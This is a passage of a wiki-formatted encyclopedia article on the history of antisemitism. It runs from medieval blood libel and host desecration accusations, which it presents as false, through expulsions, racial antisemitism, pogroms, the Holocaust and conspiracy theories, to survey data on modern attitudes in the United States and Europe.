On many occasions, Jews were accused of a [[blood libel]], the supposed drinking of blood of Christian children in mockery of the Christian [[Eucharist]]. According to the authors of these blood libels, the 'procedure' for the alleged sacrifice was something like this: a child who had not yet reached puberty was kidnapped and taken to a hidden place. The child would be tortured by Jews, and a crowd would gather at the place of execution (in some accounts the synagogue itself) and engage in a mock tribunal to try the child. The child would be presented to the tribunal naked and tied and eventually be condemned to death. In the end, the child would be crowned with thorns and tied or nailed to a wooden cross. The cross would be raised, and the blood dripping from the child's wounds would be caught in bowls or glasses. Finally, the child would be killed with a thrust through the heart from a spear, sword, or dagger. Its dead body would be removed from the cross and concealed or disposed of, but in some instances rituals of black magic would be performed on it. This method, with some variations, can be found in all the alleged Christian descriptions of ritual murder by Jews.

The story of [[William of Norwich]] (d. 1144) is the first known case of ritual murder being alleged by a Christian monk while the story of [[Little Saint Hugh of Lincoln]] (d. 1255) said that after the boy was dead, his body was removed from the cross and laid on a table. His belly was cut open and his entrails removed for some occult purpose, such as a [[haruspex|divination ritual]]. The story of [[Simon of Trent]] (d. 1475) emphasized how the boy was held over a large bowl so all his blood could be collected. Simon was regarded as a saint, and was canonized by [[Pope Sixtus V]] in 1588. The cult of Simon was disbanded in 1965 by [[Pope Paul VI]], and the shrine erected to him was dismantled. He was removed from the calendar, and his future veneration was forbidden, though a handful of extremists still promote the narrative as a fact. In the 20th century, the [[Menahem Mendel Beilis|Beilis Trial]] in Russia and the [[Kielce pogrom]] represented incidents of blood libel in Europe, while more recently blood libel stories have appeared a number of times in the state-sponsored media of a number of Arab nations, in Arab television shows, and on websites.

==== Host desecration ====
[[Image:Descreationofhost.gif|thumb|right|150px|A 15th century German woodcut showing an alleged host desecration. In the first panel the hosts are stolen, in the second the hosts bleed when pierced by a Jew, in the third the Jews are arrested, and in the fourth they are burned alive.]]
Jews were falsely accused of torturing consecrated host wafers in a reenactment of the [[Crucifixion]]; this accusation was known as ''[[host desecration]]''.

=== Disabilities and Restrictions ===
[[Image:BritLibCottonNeroD1Fol183vPersecutedJews.jpg|thumb|left|The yellow badge Jews were forced to wear can be seen in this marginal illustration from an English manuscript.]]

Jews were subject to a wide range of legal restrictions throughout the Middle Ages, some of which lasted until the end of the 19th century.  Jews were excluded from many trades, the list of excluded occupations varying in different communities, and being determined largely by the political influence of various non-Jewish competing interests. Frequently all occupations were barred against Jews, except money-lending and peddling—even these at times being prohibited. The number of Jews or Jewish families permitted to reside in different places was limited; they were concentrated in [[ghettos]], and were not allowed to own land; and they were subjected to discriminatory taxes on entering cities or districts other than their own, forced to swear special [[Oath More Judaico|Jewish Oaths]], and a variety of other measures, including restrictions on dress. 

====Clothing====
''Main article: [[yellow badge]], [[Judenhut]]''

The [[Fourth Lateran Council]] in 1215 was the first to proclaim the requirement for Jews to wear something that distinguished them as Jews. It could be a colored piece of cloth in the shape of a star or circle or square, a hat ([[Judenhut]]), or a robe. In many localities, members of the medieval society wore badges to distinguish their social status. Some badges (such as [[guild]] members) were prestigious, while others ostracized outcasts such as [[leper]]s, reformed [[heretic]]s and [[prostitute]]s. Jews sought to evade the [[Jewish badge|badges]] by paying what amounted to bribes in the form of temporary &quot;exemptions&quot; to kings, which were revoked and re-paid whenever the king needed to raise funds.

=== The Crusades ===
The '''[[Crusade]]s''' were a series of several military campaigns sanctioned by the [[Papacy]] that took place during the [[11th century|11th]] through [[13th century|13th centuries]]. They began as [[Catholic]] endeavors to capture [[Jerusalem]] from the [[Islam|Muslims]] but developed into territorial wars. 

The mobs accompanying the first three Crusades attacked the Jewish communities in Germany, France, and England, and put many Jews to death.  Entire communities, like those of Treves, Speyer, Worms, Mayence, and Cologne, were slain during the first Crusade by a mob army. About 12,000 Jews are said to have perished in the Rhenish cities alone between May and July, 1096. Before the Crusades the Jews had practically a monopoly of trade in Eastern products, but the closer connection between Europe and the East brought about by the Crusades raised up a class of merchant traders among the Christians, and from this time onward restrictions on the sale of goods by Jews became frequent. The religious zeal fomented by the Crusades at times burned as fiercely against the Jews as against the Muslims, though attempts were made by bishops during the [[First crusade]] and the papacy during the [[Second Crusade]] to stop Jews from being attacked. Both economically and socially the Crusades were disastrous for European Jews. They prepared the way for the anti-Jewish legislation of [[Pope Innocent III]], and formed the turning-point in the medieval history of the Jews.

[[Image:FirstCrusade.jpg|thumb|left|1250 French Bible illustration depicts Jews (identifiable 
by [[Judenhut]]) being massacred by Crusaders]]

=== The expulsions from England, France, Germany, and Spain ===
''Only a few expulsions of the Jews are described in this section, for a more extended list see [[History of anti-Semitism]], and also the [[History of the Jews in England]], [[History of the Jews in Germany|Germany]], [[History of the Jews in Spain|Spain]], and [[History of the Jews in France|France]].''

The practice of expelling the Jews accompanied by confiscation of their property, followed by temporary readmissions for [[ransom]], was utilized to enrich the French crown during [[12th century|12th]]-[[14th century|14th]] centuries. The most notable such expulsions were: from [[Paris]] by [[Philip Augustus of France|Philip Augustus]] in 1182, from the entirety of France by [[Louis IX of France|Louis IX]] in 1254, by [[Charles IV of France|Charles IV]] in 1322, by [[Charles V of France|Charles V]] in 1359, by [[Charles VI of France|Charles VI]] in 1394.

To finance his war to conquer [[Wales]], [[Edward I of England]] taxed the Jewish moneylenders. When the Jews could no longer pay, they were accused of disloyalty. Already restricted to a limited number of occupations, the Jews saw Edward abolish their &quot;privilege&quot; to lend money, choke their movements and activities and were forced to wear a [[Yellow badge|yellow patch]]. The heads of Jewish households were then arrested, over 300 of them taken to the [[Tower of London]] and executed, while others killed in their homes. The complete banishment of all Jews from the country in 1290 led to thousands killed and drowned while fleeing and the absence of Jews from England for three and a half centuries, until 1655, when [[Oliver Cromwell]] reversed the policy.

In 1492, [[Ferdinand II of Aragon]] and [[Isabella of Castile]] issued ''General Edict on the Expulsion of the Jews'' from [[Spain]] (''see also [[Spanish Inquisition]]'') and many [[Sephardi]] Jews fled to the [[Ottoman Empire]], some to the [[Land of Israel]]. 

In 1744, [[Frederick II of Prussia]] limited [[Breslau]] to only ten so-called &quot;protected&quot; Jewish families and encouraged similar practice in other [[Prussia]]n cities. In 1750 he issued ''Revidiertes General Privilegium und Reglement vor die Judenschaft'': the &quot;protected&quot; Jews had an alternative to &quot;either abstain from marriage or leave Berlin&quot; (quoting [[Simon Dubnow]]). In the same year, Archduchess of [[Austria]] [[Maria Theresa of Austria|Maria Theresa]] ordered Jews out of [[Bohemia]] but soon reversed her position, on condition that Jews pay for readmission every ten years. This [[extortion]] was known as ''malke-geld'' (queen's money). In 1752 she introduced the law limiting each Jewish family to one son. In 1782, [[Joseph II, Holy Roman Emperor|Joseph II]] abolished most of persecution practices in his ''Toleranzpatent'', on the condition that [[Yiddish language|Yiddish]] and [[Hebrew language|Hebrew]] are eliminated from public records and judicial autonomy is annulled. [[Moses Mendelssohn]] wrote that &quot;Such a tolerance... is even more dangerous play in tolerance than open persecution&quot;.

=== Anti-Judaism and the Reformation ===
[[Image:1543 On the Jews and Their Lies by Martin Luther.jpg|thumb|180px|Luther's 1543 pamphlet ''On the Jews and Their Lies'']]
{{main|Christianity and anti-Semitism}}

[[Martin Luther]], an [[Augustinian]] [[monasticism|monk]] and an [[ecclesiastical]] reformer whose teachings inspired the [[Protestant Reformation|Reformation]], wrote antagonistically about Jews in his book ''On the Jews and their Lies'', which describes the Jews in extremely harsh terms, excoriating them, and providing detailed recommendation for a [[pogrom]] against them and their permanent oppression and/or expulsion.  According to [[Paul Johnson (journalist)|Paul Johnson]], it &quot;may be termed the first work of modern anti-Semitism, and a giant step forward on the road to the Holocaust.&quot; (''A History of the Jews'', 1987, p.242) 
In his final sermon shortly before his death, however, Luther preached &quot;We want to treat them with Christian love and to pray for them, so that they might become converted and would receive the Lord&quot; (Weimar edition, Vol. 51, p. 195).  Still, Luther's harsh comments about the Jews are seen by many as a continuation of medieval Christian anti-Semitism.  
''See also [[Martin Luther and Antisemitism]]''

===Anti-Semitism in 19th and 20th century Catholicism===
Throughout the 19th century and into the 20th, the Catholic Church still incorporated strong anti-Semitic elements, despite increasing attempts to separate anti-Judaism, the opposition to the Jewish religion on religious grounds, and racial anti-Semitism.  [[Pope Pius VII]] (1800-1823) had the walls of the Jewish [[Ghetto]] in Rome rebuilt after the Jews were [[Napoleon and the Jews|released by Napoleon]], and Jews were restricted to the Ghetto through the end of the papacy of [[Pope Pius IX]] (1846-1878), the last Pope to rule Rome. Additionally, official organizations such as the Jesuits banned candidates &quot;who are descended from the Jewish race unless it is clear that their father, grandfather, and great-grandfather have belonged to the Catholic Church&quot; until 1946.  Brown University historian [[David Kertzer]], working from the Vatican archive, has further argued in his book ''The Popes Against the Jews'' that in the 19th and 20th century the [[Roman Catholic Church]] adhered to a distinction between &quot;good anti-Semitism&quot; and &quot;bad anti-Semitism&quot;. The &quot;bad&quot; kind promoted hatred of Jews because of their descent. This was considered un-Christian because the Christian message was intended for all of humanity regardless of ethnicity; anyone could become a Christian. The &quot;good&quot; kind criticized alleged Jewish conspiracies to control newspapers, banks, and other institutions, to care only about accumulation of wealth, etc. Many Catholic bishops wrote articles criticizing Jews on such grounds, and, when accused of promoting hatred of Jews, would remind people that they condemned the &quot;bad&quot; kind of anti-Semitism.  Kertzer's work is not, therefore, without critics; scholar of Jewish-Christian relations [[Rabbi David G. Dalin]], for example, criticized Kertzer in the [[Weekly Standard]] for using evidence selectively.  The [[Second Vatican Council]], the [[Nostra Aetate]] document, and the efforts of [[Pope John Paul II]] have helped reconcile Jews and Catholicism in recent decades, however.

=== Passion plays ===
[[Passion play]]s, dramatic stagings representing the trial and death of [[Jesus]], have historically been used in remembrance of Jesus' death during [[Lent]]. These plays historically blamed the Jews for [[deicide|the death of Jesus]] in a [[polemic]]al fashion, depicting a crowd of Jewish people condemning Jesus to [[crucifixion]] and a Jewish leader assuming eternal collective guilt for the crowd for the murder of Jesus, which, ''[[The Boston Globe]]'' explains, &quot;for centuries prompted vicious attacks -- or [[pogrom]]s -- on Europe's Jewish communities&quot;.[http://www.boston.com/news/globe/living/articles/2004/04/10/in_poland_new_passion_plays_on_old_hatreds/] [[Time Magazine]] in its article ''[http://www.time.com/time/magazine/article/0,9171,1101030901-477956,00.html The Problem With Passion]'' explains that &quot;such passages (are) highly subject to interpretation&quot;.  Although modern scholars interpret the &quot;blood on our children&quot; (Matthew 27: 25) as &quot;a specific group's oath of responsibility&quot; some audiences have historically interpreted it as &quot;an assumption of eternal, racial guilt&quot;. This last interpretation has often incited violence against Jews; according to the [[Anti-Defamation League]], &quot;Passion plays historically unleashed the torrents of hatred aimed at the Jews, who always were depicted as being in partnership with the devil and the reason for Jesus' death&quot;.[http://www.adl.org/ADL_Opinions/Interfaith/oped_2004012_pbp.htm] The ''[[Christian Science Monitor]]'', in its article ''[http://www.csmonitor.com/2003/0710/p11s01-lire.html?entryBottomStory Capturing the Passion]'' explains that &quot;[h]istorically, productions have reflected negative images of Jews and the long-time church teaching that the Jewish people were collectively responsible for Jesus' death. Violence against Jews as 'Christ-killers' often flared in their wake.&quot; ''[[Christianity Today]]''  in ''[http://www.christianitytoday.com/history/newsletter/2004/feb20.html Why some Jews fear (Mel Gibson's) The Passion (of the Christ)]'' observed that &quot;Outbreaks of Christian anti-Semitism related to the Passion narrative have been...numerous and destructive.&quot;

In 2003 and 2004 some compared [[Mel Gibson]]'s recent film ''The Passion of the Christ'' to these kinds of passion plays, but this characterization is hotly disputed; an analysis of that topic is in the article on [[The Passion of the Christ]].  Despite such fears, there have been no publicized anti-Semitic incidents directly attributable to the movie's influence.

==Racial anti-Semitism ==
Racial anti-Semitism replaced the hatred of Judaism with the hatred of Jews as a group. In the context of the [[Industrial Revolution]], following the [[Jewish Emancipation|emancipation of the Jews]], Jews rapidly urbanized and experienced a period of greater social mobility.  With the decreasing role of religion in public life tempering religious anti-Semitism, a combination of growing nationalism, the rise of [[eugenics]], and resentment at the socio-economic success of the Jews led to the newer, and more virulent, racist anti-Semitism.

===Nationalism and Anti-Semitism===
Racial anti-Semitism was preceded, especially in Germany, by anti-Semitism arising from [[Romantic]] [[nationalism]]. As racial theories developed, especially from the mid nineteenth-century onwards, these nationalist ideas were subsumed within them. But their origins were quite distinct from racialism. On the one hand they derived from an exclusivist interpretation of the 'Volk' ideas of [[Herder]]. This led to anti-Semitic writing and journalism in the second quarter of the 19th century of which [[Richard Wagner]]'s  [[Das Judentum in der Musik]] (Jewry in Music) is perhaps the most notorious example. On the other hand, radical socialists such as [[Karl Marx]] identified Jews as being both victims and enforced perpetrators of the [[Capitalist]] system - e.g. in his article 'On the Jewish Question'. From sources such as these, and encouraged by the broad acceptance of racial theories as the century continued, anti-Semitism entered the vocabularies and policies of both the right and the left in political thought.

===The rise of racial anti-Semitism===
Modern European anti-Semitism has its origin in 19th century [[pseudo-science|pseudo-scientific]] theories that the Jewish people are a sub-group of Semitic peoples; Semitic people were thought by many Europeans to be entirely different from the [[Aryan]], or [[Proto-Indo-Europeans|Indo-European]], populations, and that they can never be amalgamated with them. In this view, Jews are not opposed on account of their [[religion]], but on account of their supposed hereditary or genetic [[racial characteristics]]: greed, a special aptitude for money-making, aversion to hard work, clannishness and obtrusiveness, lack of social tact, low cunning, and especially lack of [[patriotism]].

While enlightened European intellectual society of that period viewed prejudice against people on account of their religion to be declassé and a sign of ignorance, because of this supposed 'scientific' connection to [[genetics]] they felt fully justified in prejudice based on nationality or 'race'. In order to differentiate between the two practices, the term anti-Semitism was developed to refer to this 'acceptable' bias against Jews as a nationality, as distinct from the 'undesirable' prejudice against Judaism as a religion. Concurrently with this usage, [[Definitions of Palestine#Referring to Jews in a national rather than religious sense|some authors in Germany]] began to use the term 'Palestinians' when referring to Jews as a people, rather than as a religious group.

As further proof of its pseudo-scientific nature, it is questionable whether [[Jew]]s in general looked significantly different from the populations conducting &quot;racial&quot; anti-Semitism.  This was especially true in places like [[Germany]], [[France]] and [[Austria]] where the Jewish population tended to be more secular (or at least less Orthodox) than that of Eastern Europe, and did not wear clothing (such as a [[yarmulke]]) that would particularly distinguish their appearance from the non-Jewish population.  Many anthropologists of the time such as [[Franz Boas]] tried to use complex physical measurements like the [[cephalic index]] and visual surveys of hair/eye color and skin tone of Jewish vs. non-Jewish European populations to prove that the notion of a separate &quot;Jewish race&quot; was a myth.  The 19th and early 20th century view of race should be distinguished from the efforts of modern population genetics to trace the ancestry of various Jewish groups, see [[Y-chromosomal Aaron]].

The advent of racial anti-Semitism was also linked to the growing sense of [[nationalism]] in many countries.  The nationalist context viewed Jews as a separate and often &quot;alien&quot; nation within the countries in which Jews resided, a prejudice exploited by the elites of many governments.

===Elites and the use of Anti-semitism===
[[Image:1889 French elections Poster for antisemitic candidate Adolf Willette.jpg|thumb|250px|1889 Paris, France elections poster for self-described &quot;candidat antisémite&quot; [[Adolphe Willette]]: &quot;The Jews are a different race, hostile to our own... Judaism, there is the enemy!&quot;]]
Many analysts of modern anti-Semitism have pointed out that its essence is [[scapegoat]]ing: features of modernity felt by some group to be undesirable (e.g. materialism, the power of money, economic fluctuations, war, secularism, socialism, Communism, movements for racial equality, social welfare policies, etc.) are believed to be caused by the machinations of a conspiratorial people whose full loyalties are not to the national group.  Traditionalists anguished at the supposedly decadent or defective nature of the modern world have sometimes been inclined to embrace such views.  Indeed, it is a matter of historical record that many of the conservative members of the [[WASP]] establishment of the [[United States]] as well as other comparable Western elites (e.g. the [[British Foreign Office]]) have harbored such attitudes, and in the aftermath of the [[Russian Revolution of 1917|Russian Revolution]], some xenophobic anti-Semites have imagined world [[Communism]] to be a Jewish conspiracy (''Harvard Encyclopedia of American Ethnic Groups'' [1980], p. 590).

The modern form of anti-Semitism is identified in the [[1911 Encyclopædia Britannica|1911 edition]] of the [[Encyclopædia Britannica]] as a conspiracy theory serving the self-understanding of the European [[aristocracy]], whose social power waned with the rise of bourgeois society. The Jews of Europe, then recently emancipated, were relatively literate, entrepreneurial and unentangled in aristocratic patronage systems, and were therefore disproportionately represented in the ascendant [[bourgeois]] class. As the [[aristocracy]] (and its hangers-on) lost out to this new center of power in society, they found their scapegoat - exemplified in the work of [[Arthur de Gobineau]]. That the Jews were singled out to embody the 'problem' was, by this theory, no more than a symptom of the [[nobility]]'s own prejudices concerning the importance of breeding (on which its own [[legitimacy (political science)|legitimacy]] was founded).

===Dreyfus Affair===
[[Image:Degradation alfred dreyfus.jpg|thumb|200px|left|The treason conviction of [[Alfred Dreyfus]] demonstrated French anti-semitism.]]
The [[Dreyfus affair]] was a political scandal which divided [[France]] for many years during the late 19th century. It centered on the 1894 treason conviction of [[Alfred Dreyfus]], a Jewish officer in the French army.  Dreyfus was, in fact, innocent: the conviction rested on false documents, and when high-ranking officers realized this they attempted to cover up the mistakes.  The writer [[Émile Zola]] exposed the affair to the general public in the literary newspaper ''L'Aurore'' (The Dawn) in a famous open letter to the [[President of France|Président de la République]] [[Félix Faure]], titled ''J'accuse !'' (I Accuse!) on  January 13, 1898.

The Dreyfus Affair split France between the ''Dreyfusards'' (those supporting Alfred Dreyfus) and the ''Antidreyfusards'' (those against him). The quarrel was especially violent since it involved many issues then highly [[controversial]] in a heated political climate.

Dreyfus was pardoned in 1899, readmitted into the army, and made a knight in the [[Légion d'Honneur|Legion of Honour]]. An Austrian Jewish journalist named [[Theodor Herzl]] was assigned to report on the trial and its aftermath. The injustice of the trial and the anti-Semitic passions it aroused in France and elsewhere turned him into a determined and leading [[Zionism|Zionist]]; ultimately turning the movement into an international one.  Also see [[Alfred Dreyfus]] and [[Dreyfus affair]].

===Pogroms===
[[Image:Ekaterinoslav1905.jpg|thumb|300px|right|The victims, mostly Jewish children, of a 1905 [[pogrom]] in [[Dnipropetrovsk]].]]
[[Pogrom]]s were a form of race riots, most commonly Russia and Eastern Europe, aimed specifically at Jews and often government sponsored.  Pogroms became endemic during a large-scale wave of anti-Jewish riots that swept southern [[Russia]] in 1881, after Jews were wrongly blamed for the assassination of Tsar [[Alexander II of Russia|Alexander II]]. In the 1881 outbreak, thousands of Jewish homes were destroyed, many families reduced to extremes of poverty; women sexually assaulted, and large numbers of men, women, and children killed or injured in 166 Russian towns.  The new czar, [[Alexander III of Russia|Alexander III]], blamed the Jews for the riots and issued a [[May Laws|series of harsh restrictions]] on Jews. Large numbers of pogroms continued until 1884, with at least tacit inactivity by the authorities. An even bloodier wave of pogroms broke out in 1903-1906, leaving an estimated 2,000 Jews dead, and many more wounded. A final large wave of 887 pogroms in Russia and Ukraine occurred during the [[Russian Revolution of 1917]], in which between 70,000 to 250,000 civilian Jews were killed by riots led by various sides.

During the early to mid-1900s, pogroms also occurred in Poland, Argentina, and throughout the Arab world.  Extremely deadly pogroms also occurred during [[World War II]], including the Romanian [[Iaşi pogrom]] in which 14,000 Jews were killed, and the [[Jedwabne massacre]] in Poland which killed between 380 and 1,600 Jews. The last mass pogrom in Europe was the post-war [[Kielce pogrom]] of 1946.

===Anti-Jewish Legislation===
[[Image:Nurembergracechart.jpg|thumb|300px|The [[Nuremberg Laws]] of 1935 used a pseudo-scientific basis for racial discrimination against Jews. People with four German grandparents (white circles) were of &quot;German blood,&quot; while people were classified as Jews if they descended from three or more Jewish grandparents (black circles in top row right). One or more Jewish grandparents made someone &quot;mixed blood.&quot;  Since the racial differences between Jews and Germans are small, the Nazis used the religious observance of a person's grandparents to determine their &quot;race.&quot; (1935 Chart from [[Nazi Germany]] used to explain the [[Nuremberg Laws]])]]

Anti-semitism was officially adopted by the German Conservative Party at the [[Tivoli Congress]] in 1892, on the instigation of Dr. Klasing but in the teeth of opposition led by the moderate Werner [[von Blumenthal]].

Official [[anti-Semitic]] legislation was enacted in various countries, especially in Imperial Russia in the 19th century and in [[Nazi]] Germany and its Central European allies in the 1930s. These laws were passed against Jews as a group, regardless of their religious affiliation - in some cases, such as Nazi Germany, having a Jewish grandparent was enough to qualify someone as Jewish.

In Germany, for example, the [[Nuremberg Laws]] of 1935 prevented marriage between any Jew and non-Jew, and made it that all Jews, even quarter- and half-Jews, were no longer citizens of their own country (their official title became &quot;[[subject of the state]]&quot;). This meant that they had no basic citizens' rights, e.g., to vote.  In 1936, Jews were banned from all professional jobs, effectively preventing them having any influence in education, politics, higher education and industry.  On 15 November of 1938, Jewish children were banned from going to normal schools. By April 1939, nearly all Jewish companies had either collapsed under financial pressure and declining profits, or had been persuaded to sell out to the Nazi government. This further reduced their rights as human beings; they were in many ways officially separated from the German populace.  Similar laws existed in [[Hungary]], [[Romania]], and [[Austria]].

Even when anti-Semitism was not an official state policy, governments in the early to middle parts of the 20th century often adopted more subtle measures aimed at Jews.  For example, the [[Evian Conference]] of 1938 delegates from thirty-two countries neither condemned Hitler's treatment of the Jews nor allowed more Jewish refugees to flee to the West.

===The Holocaust and Holocaust Denial===
{{main|Holocaust}}
Racial anti-Semitism reached its most horrific manifestation in the [[Holocaust]] during [[World War II]], in which about 6 million [[Europe]]an [[Jew]]s, 1.5 million of them children, were systematically murdered.

[[Holocaust denial|Holocaust deniers]] often claim that &quot;the Jews&quot; or &quot;[[conspiracy theory|Zionist conspiracy]]&quot; are responsible for the exaggeration or wholesale fabrication of the events of the Holocaust. Critics of such revisionism point to an overwhelming amount of physical and historical evidence that supports the mainstream historical view of the Holocaust. Almost all academics agree that there is no evidence for any such conspiracy.

===Anti-Semitic conspiracy theories===
[[Image:Protocols of the Elders of Zion 2005 Syria al-Awael.jpg|thumb|2005 [[Syria]]n edition of ''[[The Protocols of the Elders of Zion]]'' includes a &quot;historical and contemporary investigative study&quot; that repeats the [[blood libel against Jews|blood libel]] and other anti-Semitic accusations, and argues that the Torah and Talmud encourage Jews &quot;to commit treason and to conspire, dominate, be arrogant and exploit other countries&quot;.]]
The rise of views of the Jews as a malevolent &quot;race&quot; generated anti-Semitic [[conspiracy theories]] that the Jews, as a group, were plotting to control or otherwise influence the world.  From the early infamous Russian literary [[hoax]], [[The Protocols of the Elders of Zion]], published by the Tzar's secret police, a key element of anti-Semitic thought has been that Jews influence or control the world.

In a recent incarnation, extremist groups, such as [[Neo-Nazism|Neo-Nazi]] parties and [[Islamism|Islamist]] groups, claim that the aim of [[Zionism]] is [[global domination]]; they call this the ''Zionist [[Conspiracy theory|conspiracy]]'' and use it to support anti-Semitism. This position is associated with [[fascism]] and [[Nazism]], though increasingly, it is becoming a tendency within parts of the [[Left wing politics|left]] as well.

== Anti-Semitism and the Muslim world ==
''Anti-Semitism within Islam is discussed in the article on [[Islam and anti-Semitism]]. Anti-Semitism in the Arab World is discussed in the article on [[Arabs and anti-Semitism]]'' 

The [[Qur'an]], [[Islam]]'s holy book, accuses the [[Jew]]s of corrupting the [[Hebrew Bible]]. Muslims refer to Jews and [[Christian]]s as a &quot;[[People of the book]]&quot;; Islamic law demands that when under Muslim rule they should be treated as [[dhimmi|dhimmis]] - from the Arab term ''ahl adh-dhimma''. The writer [[Bat Ye'or]] introduced the modern word ''Dhimmitude'' as a generic indication of this Islamic attitude. Dhimmis were granted protection of life (including against other Muslim states), the right to residence, worship, and work or trade, and were exempted from military service, and Muslim religious duties, personal law and tax. They were obligated to pay other taxes ([[jizyah]] and land tax), and subject to various other restrictions regarding the contradiction of Islam, the Qur'an or [[Muhammad]], [[proselyte|proselytizing]], and at times a number of other restrictions on dress, riding horses or camels, carrying arms, holding public office, building or repairing places of worship, mourning loudly, wearing shoes outside a Jewish ghetto, etc.

Anti-Semitism in the [[Islamic world|Muslim world]] increased in the [[twentieth century]], as anti-Semitic motives and [[blood libel]]s were imported from [[Europe]] and as resentment against [[Zionism|Zionist]] efforts in [[British Mandate of Palestine]] spread. While anti-Semitism has certainly been heightened by the [[Arab-Israeli conflict]], there were an increasing number of [[pogrom]]s against Jews prior to the foundation of [[Israel]], including [[Nazi]]-inspired pogroms in [[Algeria]] in the 1930s, and massive attacks on the Jews in [[Iraq]] and [[Libya]] in the 1940s (see [[Farhud]]). George Gruen attributes the increased animosity towards Jews in the [[Arab world]] to several factors including: The breakdown of the [[Ottoman Empire]] and traditional [[Islamic]] society; domination by Western [[colonialism|colonial powers]] under which Jews gained a disproportionatly large role in the commercial, professional, and administrative life of the region; the rise of [[Arab nationalism]], whose proponents sought the wealth and positions of local Jews through government channels; resentment over Jewish [[nationalism]] and the Zionist movement; and the readiness of unpopular [[regime]]s to [[scapegoat]] local Jews for political purposes.[http://www.jcpa.org/jl/jl102.htm]

[[Anti-Zionism|Anti-Zionist]] [[propaganda]] in the [[Middle East]] frequently adopts the terminology and symbols of [[the Holocaust]] to [[Demonization|demonize]] Israel and its leaders.  At the same time, [[Holocaust denial]] and Holocaust minimization efforts have found increasingly overt acceptance as sanctioned historical discourse in a number of Middle Eastern countries.

== Anti-semitism and specific countries ==
=== United States ===
[[Image:KKK holocaust a zionist hoax.jpg|thumb|left|200px|The [[Ku Klux Klan|KKK]]: Nazi salute and Holocaust denial]]
{{main|History of the Jews in the United States}}
Jews were often condemned by [[populist]] politicians alternately for their left-wing politics, or their perceived wealth, at the turn of the century. Anti-semitism grew in the years leading up to America's entry into World War II, Father [[Charles Coughlin]], an anti-Semitic radio preacher, as well as many other prominent public figures, condemned &quot;the Jews,&quot; and [[Henry Ford]] reprinted [[The Protocols of the Elders of Zion]] in his newspaper.

In 1939 a [[Roper]] poll found that only thirty-nine percent of Americans felt that Jews should be treated like other people. Fifty-three percent believed that &quot;Jews are different and should be restricted&quot; and ten percent believed that Jews should be deported. [http://www.fsmitha.com/h2/ch22.htm]
It has been estimated that 190 000 - 200 000 Jews could have been saved during the [[Second World War]] had it not been 
for bureaucratic obstacles to immigration deliberately created by [[Breckinridge Long]] and others.[http://www.pbs.org/wgbh/amex/holocaust/peopleevents/pandeAMEX90.html]

Unofficial antisemitism was also widespread in the first half of the century.  For example, to limit the growing number of Jewish students between 1919-1950s a number of private liberal arts universities and medical and dental schools employed [[Numerus clausus#Numerus clausus in the United States|Numerus clausus]]. These included [[Harvard University]], [[Columbia University]], [[Cornell University]], and [[Boston University]]. In 1925 [[Yale University]], which already had such admissions preferences as &quot;character&quot;, &quot;solidity&quot;, and &quot;physical characteristics&quot; added a  program of [[legacy preference]] admission spots for children of Yale alumni, in an explicit attempt to put the brakes on the rising percentage of Jews in the student body. This was soon copied by other Ivy League and other schools, and admissions of Jews were kept down to 10% through the 1950s. Such policies were for the most part discarded during the early 1960s.

American anti-Semitism underwent a modest revival in the late 20th century. The [[Nation of Islam]] under [[Louis Farrakhan]] claimed that Jews were responsible for slavery, economic exploitation of black labor, selling alcohol and drugs in their communities, and unfair domination of the economy.  Jesse Jackson issued his infamous &quot;Hymietown&quot; remarks during the 1984 Presidential primary campaign.  
According to ADL surveys begun in 1964, African-Americans are &quot;significantly more likely&quot; than white Americans to hold anti-Semitic beliefs, although there is a strong correlation between education level and the rejection of anti-Semitic stereotypes. [http://www.adl.org/antisemitism_survey/survey_print.asp].

=== Europe ===
The summary of a 2004 poll by the ''Pew Global Attitudes Project'' noted that &quot;Despite concerns about rising anti-Semitism in Europe, there are no indications that anti-Jewish sentiment has increased over the past decade. Favorable ratings of Jews are actually higher now in France, Germany and Russia than they were in 1991. Nonetheless, Jews are better liked in the U.S. than in Germany and Russia.&quot;[http://pewglobal.org/reports/display.php?ReportID=206]

However, according to 2005 survey results by the ADL [http://www.adl.org/PresRele/ASInt_13/4726_13.htm], anti-Semitic attitudes remain common in Europe.  Over 30% of those surveyed indicated that Jews have too much power in business, with responses ranging from lows of 11% in Denmark and 14% in England to highs of 66% in Hungary, and over 40% in Poland and Spain.  The results of religious anti-Semitism also linger and over 20% of European respondents agreed that Jews were responsible for the death of Jesus, with France having the lowest percentage at 13% and Poland having the highest number of those agreeing, at 39%. [http://www.philosophistry.com/specials/europe/question_1.html] 

The Vienna-based European Union Monitoring Center (EUMC), for 2002 and 2003, identified France, Germany, the United Kingdom, Belgium, and The Netherlands as EU member countries with notable increases in incidents. As these nations keep reliable and comprehensive statistics on anti-Semitic acts, and are engaged in combating anti-Semitism, their data was readily available to the EUMC. Governments and leading public figures condemned the violence, passed new legislation, and mounted positive law enforcement and educational efforts.

In Western Europe, traditional far-right groups still account for a significant proportion of the attacks against Jews and Jewish properties; disadvantaged and disaffected Muslim youths increasingly were responsible for most of the other incidents. In Eastern Europe, with a much smaller Muslim population, skinheads and others members of the radical political fringe were responsible for most anti-Semitic incidents. Anti-Semitism remained a serious problem in Russia and Belarus, and elsewhere in the former Soviet Union, with most incidents carried out by ultra-nationalist and other far-right elements. The stereotype of Jews as manipulators of the global economy continues to provide fertile ground for anti-Semitic aggression. 

==== France ====
[[Image:FrenchCemetery103004-01.jpg|thumb|250px|right|Defacement of a Jewish cemetery in France, 2004.]]
{{main|History of the Jews in France}}

Anti-semitism was particularly virulent in [[Vichy France]] during [[World War II|WWII]] (1939 - 1945). The Vichy government openly collaborated with the Nazi occupiers to identify Jews for deportation and transportation to the death camps. 

Today, despite a steady trend of decreasing antisemitism among the population[http://www.tns-sofres.com/etudes/pol/080605_antisemitisme_r.htm], acts of antisemitism are a serious cause for concern [http://www.lexpress.fr/info/societe/dossier/juifsfr/dossier.asp], as is tension between the Jewish and Muslim populations of France, both the largest in Europe. According to the National Advisory Committee on human rights, antisemitic acts account for a majority (72% of all in 2003) of racist acts in France.  (''See also the official statement of the French ministry of interior about antisemitic acts''[http://www.interieur.gouv.fr/rubriques/a/a5_communiques/2005_07_25_antisemite].)

In 2005 the Israeli newspaper the [[Maariv]] found that 82% of French people questioned had favourable attitudes towards Jews, the second highest percentage of the countries questioned. The Netherlands was highest at 85%. [http://superfrenchie.com/?p=125#comments]

==== Poland ====
''see [[History of the Jews in Poland]]''

